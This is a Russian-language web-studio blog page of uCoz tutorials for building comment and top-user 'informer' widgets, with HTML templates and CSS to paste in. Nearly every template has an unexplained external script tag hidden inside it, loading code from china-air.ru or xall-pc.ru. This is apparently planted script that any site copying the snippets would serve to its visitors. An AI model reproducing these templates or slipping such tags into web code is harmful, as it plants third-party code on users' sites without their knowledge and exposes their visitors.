Информеры - Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Информер последних комментариев

Информер отображает установленое количество самых последних коментариев пользователей к материалам сайта.

Установка :
Идем на главную страницу панели управления сайтом, заходим в раздел информеры,
создаём новый информер и устанавливаем параметры отображения :

Название информера: коменты
Раздел: коментарии
Модуль: Все модули
Количество материалов: 5
Количество колонок: 1
Максимальная длина текста комментария: 50

Нажимаем на кнопку "СОЗДАТЬ"

Теперь нужно настроить сам информер, жмём шаблон информера и заменяем все содержимое на это :
в этом коде заданы цвета ссылок, титлы и бордюр таблицы которые можно изменить под свой дизайн при необходимости.

Код

<table style="border: 1px solid #2F2F2F;" cellpadding="2" cellspacing="5" width="100%"><tr><td><?if($USERNAME$)?><a href="$PROFILE_URL$"><b style="color:#4682B4;cursor: hand;" title="Профиль пользователя"> $USERNAME$</b><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a><?else?><b style="color:#636363;cursor: hand;" title="Гость сайта"> $NAME$</b><?endif?></br> <a href="$ENTRY_URL$" alt="23" title="" id="commet">$MESSAGE$</a><img border="0" src="http://s44.ucoz.net/img/icon/fm.png" align="absMiddle" style="cursor: hand;padding-left:10px;" title="$DATE$ ~ $ENTRY_TITLE$" ></td></tr></table>

Далее определяемся, где будет расположен ниформер в данном примере в левом контейнере (блоке) сайта. Вписываем туда новый глобальный блок с кодом нового информера ( $MYINF_1$ ). Если у вас уже есть другие информеры, то номер информера будет другим ( $MYINF_2$, $MYINF_5$ и тд. )

Готово.

Категория: Информеры | Просмотров: 487 | Добавил: startsmart | Дата: 04.01.2013 | Комментарии (0)

Топ пользователей для Ucoz

УСТАНОВКА СКРИПТА:

Для начала нужно создать информер [Пользователи · Материалы · Кол.комментариев · Материалы:9 · Колонки:3] в шаблон информера кидаем код что будет указан ниже, и потом создаем блок и вставляем в блок номер вашего информера=)

Код

<table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable">
  <tr><td class="infTd" width="33%">
  <table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable">
  <tr><td class="infTd" width="33%">
  <table align="center" border="0" cellspacing="1" cellpadding="0" width="100%">
  <tbody><tr><td width="33%"> <div align="center"> <div class="informer_user_ava">
  <div class="tooltip_user">
  <a href="$PROFILE_URL$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?>
  <img class="user_ava_a" src="$AVATAR_URL$"><?else?>
  <img class="user_ava_a" src="http://bambun.ru/images/net.gif">
  <?endif?>
  <span>
  <div class="user_v"> <div class="user_v_p"> <div class="user_name">$USERNAME$</div>

  <?if($FULL_NAME$)?><div class="user_full_name">$FULL_NAME$</div><?endif?></div></div>

  <div class="user_c">
  <div class="user_i">Файлов:</div><div class="user_ii">$LOAD_POSTS$</div>
  <div class="user_i">Сообщений:</div><div class="user_ii">$FORUM_POSTS$</div>
  <div class="user_i">Репутация:</div><div class="user_ii">$REPUTATION$</div>
  <div class="user_i">Регистрация:</div><div class="user_ii">$REG_DATE$</div></div>
  <div class="user_n"><div class="user_v_p"><div class="user_full_name">Комментарий: $COM_POSTS$ ( $NUMBER$ место ) </div> </div> </div> </span> </a> </div> </div> </div> </td></tr></tbody></table></td></tr></table></td></table>

А потом зайти в ваш CSS стиль и в самый низ вставить вот этот код:

Код

/* User-top */
  .informer_user_ava {width:60px}
  .informer_user_nic {width:60px;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;margin:3px 0 10px}
  .tooltip_user a {text-decoration:none;color:#333}
  .tooltip_user a:hover {position:relative}
  .tooltip_user a span {display:none}
  .tooltip_user a:hover span {z-index:999;display:block;position:absolute;text-align:left;color:#1E90FF;font-size:8pt;top:-150px;right:0;width:250px;background:url('http://bambun.ru/images/fonn.png'); border:1px solid #000000;padding:0}
  .user_i, .user_ii {float:left;width:120px;margin-bottom:2px;padding:0 0 5px;background:url('') repeat-x bottom}
  .user_v {border-bottom:1px solid #000000}
  .user_n {border-top:1px solid #000000}
  .user_c {clear:left;overflow:hidden;font:9px Verdana,Arial,Helvetica,sans-serif;color:#1E90FF;padding:5px}
  .user_v_p {padding:3px 4px 0}
  .user_v, .user_n {clear:left;height:25px;background:url('http://bambun.ru/images/fonn.png') repeat-x top #171717}
  .user_name {float:left}
  .user_full_name {float:right}
  .user_full_name, .user_name {background:;padding:2px 5px;font-size:10px;border-top:1px solid #0d0d0d;border-right:1px solid #0d0d0d;border-left:1px solid #0d0d0d;border-bottom:1px solid #0d0d0d}
  .user_ava_a {padding:4px; border:1px solid #0d0d0d;}
  .user_ava_a {width:50px; height:50px; background:url('http://bambun.ru/images/fonn.png');}
  /* ---------------------------------- */

Категория: Информеры | Просмотров: 418 | Добавил: startsmart | Дата: 31.12.2012 | Комментарии (0)

Новый Топ пользователей с аватарами для Ucoz

Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
Установка:
Создаем информер:
[ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ]
В шаблон информера вставляем:

Код

<div class="utop-user" align="center">
  <a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>">
<?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <img src="$AVATAR_URL$"><?else?>
  <img src="http://bambun.ru/images/noa23va.png">
  <?endif?>
</a>
  <a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a>
  <div class="utop-number">$NUMBER$</div>
  </div>

В CSS вставляем в самый низ

Код

/*Новые участники*/
.utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;}
.utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000;
border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}
.utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;}
.utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px; text-align:center; display:inline-block;}
.utop-user a.ut-ava:hover {border-color:#000;}
#easyTooltip{
  padding:10px;
  border:1px solid #000000;
  background:#000;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px;
  color: #666666;
  filter:alpha(opacity=90);
  -moz-opacity: 0.9;
  -khtml-opacity: 0.9;
  opacity: 0.9;
  z-index:1000;
  }
/*===================================*/

В нижнюю часть сайта

Код

Категория: Информеры | Просмотров: 409 | Добавил: startsmart | Дата: 30.12.2012 | Комментарии (0)

Информер - лучшие пользователи (топ пользователей) для uCoz

Новый информер для светлых дизайнов - Лучшие Пользователи.

Установка:
1) Создаём информер "Лучшие пользователи" - создаются они тут:
http://адрес_вашего_сайта/panel/?a=informers

Параметры информера:

Название информера - Лучшие пользователи
Раздел - Пользователи
Способ сортировки - Кол.Файлов (Или количество новостей и т.п. - на ваше усмотрение)
Количество материалов - 5
Количество колонок - 1

Жмём "Создать"

Теперь открываем дизайн информера
Удаляем и всё там и вставляем:

Код

<table width="100%" class="utop" cellpadding="0" cellspacing="0"><tbody><tr><td class="left">
<img class="utop_ava" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/noat.png<?endif?>" alt="Аватар $USERNAME$">
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script><div class="utop_user_number">$NUMBER$</div>
</td><td class="uinfo" valign="top" align="left">
<div class="author"><a href="/index/8-5">$USERNAME$</a></div>
<span>Комментариев: $COM_POSTS$</span>
<span>Публикаций: $LOAD_POSTS$</span>
<span>Группа: <?if($GROUP_NAME$='Администраторы')?>Админ<?else?>$GROUP_NAME$<?endif?></span>
</td></tr></tbody></table>

Теперь запоминаем код вызова информера - например $MYINF_1$
Создаём новой блок (или через конструктор или вручную) - Называем как хотим
И в дизайн блока вставляем:

Код

$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/utop.css">

$MYINF_1$ - Меняем на свой код вызова

Готово - Удачи)

Категория: Информеры | Просмотров: 405 | Добавил: startsmart | Дата: 25.12.2012 | Комментарии (0)

Информер с плавным обновлением коментариев

Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее.

Установка!

Ставим этот скрипт после тега <body>:

Код

Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код:

Код

<li>
  <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>
  </li>

Вставляем этот код в блок и меняем на свой информер:

Код

<ul id="center_dm_ru">
  $MYINF_1$
  </ul>

И прописываем в css стили информера:

Код

#center_dm_ru {
  overflow:hidden;
  height:250px;
  width:250px;
  border:solid 1px #C8D9E5;
  padding: 0px 0px 0px 0px;
  background: #F8FCFF;
  }

  #center_dm_ru li {
  list-style:none;
  overflow:hidden;
  border-top: 1px solid #fff;
  border-bottom: 1px solid #C8D9E5;
  padding: 10px 5px 10px 5px;
  }

  .coment_avatar {
  float:right;
  width:25px;
  height:25px;
  background: #F3F3F3;
  margin-left: 5px;
  padding: 2px;
  border:1px solid #C8D9E5;
  }

  .massage_link:link,
  .massage_link:visited {
  text-decoration: none;
  color:#555;
  }

  .massage_link:hover {
  color:#999;
  }

  #center_dm_ru li a:hover img {
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);
  -moz-opacity: 0.5;
  opacity: 0.5;
  filter: alpha(opacity=50);
  }

[code][/code]

Категория: Информеры | Просмотров: 458 | Добавил: startsmart | Дата: 24.12.2012 | Комментарии (0)

Последние ответы на форуме в блоке для ucoz

Последние ответы на форуме в блоке для ucoz.

Установка:

Создаем информер: Название: Статистика форума в блоке --> Раздел: Форум --> Способ сортировки: Последние обновленные темы --> Количество материалов: 5 --> Количество колонок: 1.

В шаблоне информера всё удаляем, ставим этот код:

Код

<img src="http://bambun.ru/images/756432556s.png"><a href="$THREAD_URL$"> $THREAD_TITLE$</a><br>
  <script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
  <img src="http://bambun.ru/images/56786821.png"> <font face="Comic Sans MS">Ответов:</font> $REPLIES$</span>
  <div style="font:7pt" align="left"><a href="$FORUM_URL$"> [$FORUM$]</a></div></li><hr>

Код информера ставите на страницах сайта в нужном Вам месте.

Категория: Информеры | Просмотров: 384 | Добавил: startsmart | Дата: 23.12.2012 | Комментарии (0)

Лучший пользователь сайта для ucoz

Описание:

Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога.
Установка
- заходим в админ панель сайта => Инструменты => Информеры => создать информер

- Раздел: ( пользователи )
- Способ сортировки: ( количество комментарий )
- Количество материалов: ( 1 )
- Количество колонок: ( 1 )
теперь открываем информер и копируем туда следующий код:

Code

<div class="comment_info transparency_i">
  <div class="comment_v">
  <a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img class="avatar_img" src="$AVATAR_URL$" /><?else?><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" /><?endif?>
  </a>
  $USERNAME$
  </div>

  <div class="comment_n">
  <img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$
  </div>

  </div>

и css стили

Code

.comment_info {
  text-align:center;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f;
  width:100px;
  border:1px solid #d2d2d4;
  background: #e4e5e7;
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
  }

  .avatar_img {
  width:65px;
  height:65px;
  background: #fff;
  border:1px solid #d2d2d4;
  padding: 4px;
  margin-bottom: 3px;
  }
  .comment_v {
  border-bottom: 1px solid #d2d2d4;
  padding: 10px 0px 4px 0px;
  }

  .comment_n {
  border-top: 1px solid #fff;
  padding: 5px 0px 5px 0px;
  }

  .transparency_i a:hover img {
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70);
  -moz-opacity: 0.7;
  opacity: 0.7;
  filter: alpha(opacity=70);
  }

Категория: Информеры | Просмотров: 416 | Добавил: startsmart | Дата: 15.12.2012 | Комментарии (0)

Последние комментарии ucoz

Вывод последних комментариев стал еще удобнее и стильнее. Шаблон информера комментариев выполнен в светлых тонах, с использованием 1 картинки(1 кб). Пример того, как можно сделать свой сайт еще мобильнее.
Создаем информер комментариев ucoz
Инструмента => Информеры => Создать информер

и создаём данный информер:

Раздел: Комментарии
Модуль: Все модули
Количество материалов: 10
Количество колонок:1
HTML
Теперь заходи в шаблон информера, удаляем содержимое и заменяем на следующий HTML код:

Code

<div class="last_comment_os transparency_i">
  <div class="lc_message">
  <a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$MESSAGE$</a>
  <script src="http://xall-pc.ru/up.js" type="text/javascript"></script>
  </div>
  <div class="lc_uzer">
  <span class="lc_ugol"></span>
  <?if($USERNAME$)?>
  <a href="$PROFILE_URL$">
  <?if($USER_AVATAR_URL$)?>
  <img class="lc_avatar" alt="Аватар $USERNAME$" title="$USERNAME$" src="$USER_AVATAR_URL$" />
  <?else?>
  <img class="lc_avatar" title="$USERNAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg" />
  <?endif?>
  </a>
  <?else?>
  <img class="lc_avatar" title="$NAME$" alt="аватар отсутствует" src="http://bambun.ru/images/92873634.jpg"/>
  <?endif?>
  <span class="lc_name"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?></span>
  <span class="lc_data">$DATE$ | $TIME$</span>
  </div>
  </div>

CSS
Заходим в CSS и вставляем в конец следующие стили:

Code

/* Белый вариант последних комментарий
  ------------------------------------------*/
  .last_comment_os {
  overflow: hidden;
  float:left;
  font: 11px Verdana,Arial,Helvetica, sans-serif; color:#555;
  width:250px;
  margin: 5px 0px 5px 0px;
  }

  .last_comment_os a:link,
  .last_comment_os a:visited {color:#555;}
  .last_comment_os a:hover {color:#999;}

  .lc_message {
  float:left;
  margin: 0;
  padding:5px;
  width:238px;
  background: #F6F6F6;
  border: 1px solid #D6D6D6;
  }

  .lc_uzer {
  float:left;
  text-align:right;
  width:250px;
  position: relative
  }

  .lc_ugol {
  position:absolute;
  float:right;
  background: url(http://bambun.ru/images/242703095.png) no-repeat right;
  width: 27px;
  height: 27px;
  top: -1px;
  right: 20px;
  }

  .lc_avatar {
  float:right;
  width: 30px;
  height: 30px;
  padding:3px;
  border: 1px solid #D6D6D6;
  margin: 10px 55px 0px 10px;
  }

  .lc_name {
  float:right;
  width: 145px;
  margin: 13px 0px 2px 0px;
  font-weight: bold;
  }

  .lc_data {
  float:right;
  font: 9px Verdana,Arial,Helvetica, sans-serif; color:#999;
  width: 145px;
  }

  .transparency_i a:hover img {
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);
  -moz-opacity: 0.5;
  opacity: 0.5;
  filter: alpha(opacity=50);
  }
  /* ------------------------------------------*/

Категория: Информеры | Просмотров: 464 | Добавил: startsmart | Дата: 09.12.2012 | Комментарии (0)

Скрипт-Информер "Топ Аплоадеров (Пользователей)" для Ucoz

В скрипте указывается аватар пользователя, его ник и место,
Его группу, количество релизов и тем на форуме.

Установка:
1) Создаём новый информер с названием "Топ аплоадеров".

2) Информер с такими настройками:
Пользователи - Материалы - Кол.файлов - Материалы 4 - Колонки 1.

3) В шаблон информера вписываем такой код:

Code

<div class="screenshot"><table cellspadding="0" class="topten_table" style="border-color: #000000; width: 100%; margin: 0px;" cellspacing="0"> <tbody><tr> <td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px; width: 48px;" onclick="'';"><center><?if($AVATAR_URL$)?><script src="http://xall-pc.ru/up.js" type="text/javascript"></script><img title="$USERNAME$" class="userAvatar" src="$AVATAR_URL$" border="0" height="48" width="48"><?else?> <IMG SRC="http://bambun.ru/images/noav9atar.png" BORDER="0" width="48" height="48"><?endif?> </center> </td><td style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px; text-align: left; font-size: 10px; font-family: tahoma, verdana, arial; color: #555555; line-height: 14px;" onclick="';"><font style="font-size: 12px; color: #000000;"><b>$USERNAME$</b> ($NUMBER$ место)</font>
<font color="#1882ed">$GROUP_NAME$</font><br> Релизов: <b><font color="#000000">$LOAD_POSTS$</font></b>
Форум: <b><font color="#000000">$FORUM_POSTS$</font></b></td> </tr> </tbody> </table></div><br>

4) В конструкторе создаём новый блок с названием "Топ алоадеров" и в него прописываем номер информера (У меня это $MYINF_6$).

Информер легко настроить под себя.

Категория: Информеры | Просмотров: 363 | Добавил: startsmart | Дата: 02.12.2012 | Комментарии (0)

Информер популярных материалов для (uCoz)
Создаём информер:
Каталог файлов > Материалы > Количество просмотров D > Материалы:сколько хотим > Колонки: 1
В шаблон информера вставляем:

Code

<div class="FimwareInf"> <table border="0" cellpadding="0" cellspacing="0" width="100%"><tr> <td width="25px" style="background:#fff; padding:3px; padding-bottom:4px;"><script src="http://xall-pc.ru/up.js" type="text/javascript"></script><img src="$IMG_URL1$" width="28px" height="28px" border="0"></td> <td valign="top" style="border:0px; border-left:1px solid #ccc;"> <div style="padding:5px; height:25px; overflow:hidden;"><a href="$ENTRY_URL$" title="">$TITLE$</a></div> </td> </tr></table> </div><div style="border-top:1px solid #ccc; border-bottom:1px solid #fff;"></div>

В CSS:

Code

div.FimwareInf {background:#f5f3f3;}
div.FimwareInf:hover {background:#fff;}

Категория: Информеры | Просмотров: 423 | Добавил: startsmart | Дата: 01.12.2012 | Комментарии (0)

1-10 11-20 21-30 31-35